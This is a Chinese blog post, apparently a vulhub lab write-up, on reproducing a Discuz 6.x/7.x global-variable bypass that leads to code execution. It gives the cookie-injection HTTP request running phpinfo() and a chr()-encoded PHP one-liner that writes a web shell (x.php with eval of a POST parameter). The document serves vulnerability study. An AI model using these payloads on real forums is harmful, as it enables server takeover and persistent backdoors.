Discuz 7.x/6.x 全局变量防御绕过导致代码执行

小白头发少

于 2021-12-05 17:54:27 发布

阅读量2.4k

点赞数

分类专栏： vulhub 文章标签： web安全安全 php

本文链接：https://blog.youkuaiyun.com/qq_41048303/article/details/121732649

版权

vulhub 专栏收录该内容

10 篇文章

订阅专栏

本文详述了PHP 5.3x版本Discuz论坛存在的全局变量防御绕过漏洞，通过安装过程演示如何在安装后利用Cookie注入实现eval执行，包括漏洞环境搭建、复现步骤和具体脚本操作。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.漏洞原理

由于php5.3 x版本里php.ini的设置request_order默认值为GP，导致Discuz 6.x/7.x全局变量防御绕过漏洞。

2.漏洞环境

执行docker-compose up -d 启动后，访问http://192.168.254.202:8080/install来安装discuz

数据库地址db，数据库名为discuz，数据库账号密码均为root

在这里插入图片描述

3.漏洞复现

安装成功后，直接找一个已存在的帖子，向其发送数据包，并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1
Host: 192.168.254.202:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.254.202:8080/forumdisplay.php?fid=2
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Upgrade-Insecure-Requests: 1

在这里插入图片描述

写入一句话脚本:eval(fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>');));

转成ASCII码形式

chr(101).chr(118).chr(97).chr(108).chr(40).chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(112).chr(119).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(41).chr(59)

使用Burp 修改数据包
在这里插入图片描述